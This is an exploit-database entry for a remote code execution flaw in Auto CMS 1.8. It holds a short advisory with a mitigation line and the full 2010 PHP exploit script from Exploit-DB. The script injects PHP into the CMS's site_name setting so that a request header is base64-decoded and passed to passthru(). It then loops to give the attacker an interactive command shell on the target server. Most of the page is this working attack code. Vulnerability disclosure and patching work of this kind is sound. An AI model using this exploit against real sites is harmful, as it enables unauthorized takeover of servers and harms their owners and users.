Auto CMS - exploit.company

vendor:

Auto CMS

by:

giudinvx

9,3

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Auto CMS

Affected Version From: 1.8

Affected Version To: 1.8

Patch Exists: YES

Related CWE: N/A

CPE: a:ventics:auto_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2010

Auto CMS <= 1.8 Remote Code Execution

Auto CMS is vulnerable to Remote Code Execution vulnerability. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server. This request contains a maliciously crafted CMD parameter which is then base64 encoded and passed to the passthru() function. This allows an attacker to execute arbitrary code on the vulnerable server.

Mitigation:

Upgrade to the latest version of Auto CMS.

Source

Exploit-DB raw data:

<?php
/*
=====================================
Auto CMS <= 1.8 Remote Code Execution
=====================================

Author___: giudinvx
Email____: <giudinvx[at]gmail[dot]com>
Date_____: 10/31/2010
Site_____: http://www.giudinvx.altervista.org/
Site CMS_: http://ventics.com/autocms/
*/

error_reporting(0);
set_time_limit(0);

function openfsock ($host, $pack)
{
if (!($fp = fsockopen($host, 80))) {
die("\nNo response\n");
} else {
fputs($fp, $pack);

while (!feof($fp)) {
$ret .= fgets($fp, 1024);
}
fclose($fp);
}
return $ret;
}

$host = $argv[1];
$path = $argv[2];

if ($argc < 3) {
echo "\nExample: php $argv[0] lolcalhost /
Example: php $argv[0] localhost /path/\n\n";
die();
}

$excode =
"update=WuaU&site_name=aZombie\\\');error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;//";
$pack = "POST /test/autocms/ HTTP/1.1\r\n";
$pack.= "Host: localhost\r\n";
$pack.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
$pack.= "Cmd: %s\r\n";
$pack.= "Content-Length: ".strlen($excode)."\r\n";
$pack.= "Content-Type: application/x-www-form-urlencoded\r\n";
$pack.= "Connection: close\r\n\r\n";
$pack.= $excode;

echo "\nAuto CMS <= 1.8 Remote Code Execution
Exploit by giudinvx";

while (true) {
echo "\nShellCMD\n";
$cmd = trim(fgets(STDIN));
 if ($cmd != ":q") {
$res = openfsock($host, sprintf($pack, base64_encode($cmd)));
preg_match("/(\n|.)*/i", $res, $match);
echo $match[0];
} else {
die();
}
}